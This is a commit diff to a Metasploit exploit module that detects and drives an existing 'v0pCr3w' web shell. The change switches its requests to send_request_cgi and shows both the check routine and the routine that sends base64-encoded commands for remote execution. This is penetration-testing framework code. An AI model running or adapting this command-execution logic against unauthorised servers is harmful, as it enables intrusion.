Updated v0pCr3w_exec to use send_request_cgi

unstable
bwall 2013-03-26 01:33:30 -04:00
parent 5218831167
commit a5346240de
1 changed files with 15 additions and 8 deletions

View File

@ -53,10 +53,13 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
uri = normalize_uri(datastore['URI'])
uri += "?lol=1"
shell = send_request_raw({'uri' => uri}, 25)
shell = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI']),
'vars_get' => {
'lol' => '1'
}
})
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
return Exploit::CheckCode::Vulnerable
end
@ -64,10 +67,14 @@ class Metasploit3 < Msf::Exploit::Remote
end
def http_send_command(cmd, opts = {})
p = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd))
uri = normalize_uri(datastore['URI'])
uri += '?osc=' + p
res = send_request_raw({'uri' => uri}, 25)
p = Rex::Text.encode_base64(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI']),
'vars_get' => {
'osc' => p
}
})
if not (res and res.code == 200)
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
end